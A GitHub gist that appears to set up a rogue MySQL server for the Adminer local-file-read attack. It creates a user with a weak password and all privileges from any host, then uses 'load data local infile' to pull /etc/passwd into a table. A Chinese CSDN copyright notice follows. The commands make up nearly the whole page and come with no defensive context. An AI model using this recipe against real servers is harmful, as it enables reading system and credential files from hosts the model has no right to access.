Skip to content

Instantly share code, notes, and snippets.

@tanaka-geek
Last active May 27, 2021 06:39
Show Gist options
  • Save tanaka-geek/9d86dd83ae97e933c012175aa3419c8e to your computer and use it in GitHub Desktop.
Save tanaka-geek/9d86dd83ae97e933c012175aa3419c8e to your computer and use it in GitHub Desktop.
Create a new account and set up database/tables
mysql -u'root'
CREATE USER 'adminer'@'%' IDENTIFIED BY 'Passw0rd!';
GRANT ALL PRIVILEGES ON *.* TO 'adminer'@'%';
FLUSH PRIVILEGES;
create database adminer;
use adminer;
create table experiment(name varchar(255));
exit;
// check mysqli.allow_local_infile = 1 otherwise, can't read local files'
load data local infile "/etc/passwd" into table experiment FIELDS TERMINATED BY '\n';
版权声明:本文为CSDN博主「冬萍子」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_45527786/article/details/113043076
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment